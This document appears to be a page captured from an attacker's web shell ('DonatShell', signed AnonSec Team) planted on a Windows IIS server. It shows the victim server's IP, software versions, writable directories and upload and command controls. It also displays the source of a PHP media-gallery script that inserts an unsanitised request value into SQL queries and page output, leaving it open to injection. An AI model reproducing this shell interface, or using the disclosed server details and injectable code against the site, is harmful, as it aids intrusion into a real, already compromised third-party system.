DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/umedia3/_idx.presentation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/umedia3/_idx.presentation//index.php
<?
   include ("../inc/config.inc.php");
?>
<?
$m=tmq("select * from media where randid='$mid' ");
if (tmq_num_rows($m)==0) {
	die("Sorry, record $mid not found");
}
$m=tmq_fetch_array($m);
$midname=stripslashes(marc_gettitle($mid));

$displaydb=tmq_dump("filenamedisplay","id","val");
$fordspname=$m[filenamedisplay];
if ($fordspname=="") {
	$fordspname=tmq("select * from filenamedisplay where isdef='yes' ");;
	$fordspname=tmq_fetch_array($fordspname);
	$fordspname=$fordspname[id];
}
$fordspname=getlang($displaydb[$fordspname]);
	
//echo "[$fordspname]";
	?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=tis620" />
		<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
		<title>Presentation:<? echo $midname?></title>
		<link rel="stylesheet" href="css/layout.css" type="text/css" media="screen" charset="utf-8" />
		<link rel="stylesheet" href="css/jd.gallery.css" type="text/css" media="screen" charset="utf-8" />
		<script src="scripts/mootools.v1.11.js" type="text/javascript"></script>
		<script src="scripts/jd.gallery.js" type="text/javascript"></script>



		<script src="scripts/HistoryManager.js" type="text/javascript"></script>  
	</head>
<SCRIPT LANGUAGE="JavaScript">
<!--

function localgetobj (the_id) {
	if (typeof the_id != 'string') {
		return the_id;
	}

	if (typeof document.getElementById != 'undefined') {
		return document.getElementById(the_id);
	} else if (typeof document.all != 'undefined') {
		return document.all[the_id];
	} else if (typeof document.layers != 'undefined') {
		return document.layers[the_id];
	} else {
		return null;
	}
}

//-->
</SCRIPT>
	<BODY>
	<h1 style="font-size: 250%;"><? echo $midname?></h1>
<!-- 		<h1>
			<a href="http://english.jondesign.net/">
				<span class="company">JonDesign's</span>
			</a>SmoothGallery 2.1beta1 <sup>demo</sup></h1> -->
		<script type="text/javascript">
			function startGallery() {
				HistoryManager.initialize();
				var myGallery = new gallery($('myGallery'), {
					useThumbGenerator: true,
					timed: false,
					useHistoryManager: true
				});
				HistoryManager.start();
			}
			window.onDomReady(startGallery);

/*
//	alert("setup");
	if(window.ActiveXObject) {
		document.body.onresize=liveWidth;
	} else {
		window.onresize=liveWidth;
	}


function liveWidth() {
	//alert(1)	;
	//window.location.href = window.location.href;
	//window.location.reload();
	//alert(self.location);
	self.location="index.php?mid=<? echo $mid?>&randid=<? echo randid();?>"+self.location.hash;
	//self.location.reload();
	//onResize="window.location.href = window.location.href;"
}
*/
		</script>
		
<CENTER>
		<div class="content">
			<div id="myGallery">
<?	


			$s="select * from media_ftitems where mid='$mid' and uploadtype='upload' and cachecate='images' order by iscover desc,ordr,text,id desc";
			$s=tmq($s);
			$i=0;
			while ($r=tmq_fetch_array($s)) {
				$i++;
				$fulltitle=$fordspname;
				$fulltitle=str_replace('[no]',$i,$fulltitle);
				$fulltitle=str_replace('[text]',stripslashes($r[text]),$fulltitle);
				//echo "[$fulltitle]";
				//$tmptitle=stripslashes($wh[text]);
				$tmptitle=$fulltitle;
				if (strlen($tmptitle)>25) {
					$tmptitle=substr($tmptitle,0,22)."..";
				}

				 $thumburl="../_fulltext/$r[mid]/$r[filename].thumb.jpg";
				 $fullurl="../_fulltext/$r[mid]/$r[filename]";
				?>
				<div class="imageElement">
					<h3><? echo $tmptitle;?></h3>
					<p><? echo $fulltitle;?></p>
					<a target=_blank href="<?
				if (file_exists("$dcrs/_fulltext/$r[mid]/$r[filename].orig.jpg")) {
					echo $fullurl.".orig.jpg";
				} else {
					echo $fullurl;
				}
				?>" title="open image" class="open"></a>
					<img src="<? echo $fullurl;?>" class="full" />
					<img src="<? echo $thumburl;?>" class="thumbnail" />
				</div>
<?
			}

?>				<div class="imageElement">
					<h3>End of presentation</h3>
					<p>This is the last frame of presentation.</p>
					<a href="#" title="open image" class="open"></a>
					<img src="images/blank.jpg" class="full" />
					<img src="images/blank.jpg" class="thumbnail" />
				</div>

			</div>
		</div></CENTER>
<SCRIPT LANGUAGE="JavaScript">
<!--
/////////////////////////////////////////////////////////////////////////////////
 var viewportwidth;
 var viewportheight;
 
 // the more standards compliant browsers (mozilla/netscape/opera/IE7) use window.innerWidth and window.innerHeight
 
 if (typeof window.innerWidth != 'undefined')
 {
      viewportwidth = window.innerWidth,
      viewportheight = window.innerHeight
 }
 
// IE6 in standards compliant mode (i.e. with a valid doctype as the first line in the document)

 else if (typeof document.documentElement != 'undefined'
     && typeof document.documentElement.clientWidth !=
     'undefined' && document.documentElement.clientWidth != 0)
 {
       viewportwidth = document.documentElement.clientWidth,
       viewportheight = document.documentElement.clientHeight
 }
 
 // older versions of IE
 
 else
 {
       viewportwidth = document.getElementsByTagName('body')[0].clientWidth,
       viewportheight = document.getElementsByTagName('body')[0].clientHeight
 }

/////////////////////////////////////////////////////////////////////////////////

	tmp=localgetobj("myGallery");
	//tmp.style.height=(screen.height-250)+"px";
	tmp.style.height=(viewportheight-50)+"px";
	tmp.style.width=(viewportwidth-30)+"px";
	//alert(viewportheight);
	//tmp=localgetobj("myGallery");
	//tmp.style.width=(screen.width-200)+"px";

	//tmp.style.height=50;
	//document.write("<style>#onetable{width:"+screen.width+"!important;}</style>");

	//document.write("<style>#onetable{height:"+screen.height+"!important;}</style>");
	//alert(screen.width);
	//alert(tmpo.style.width);
	//alert(document.height)
//-->
</SCRIPT>
	</body>
</html>

Anon7 - 2022
AnonSec Team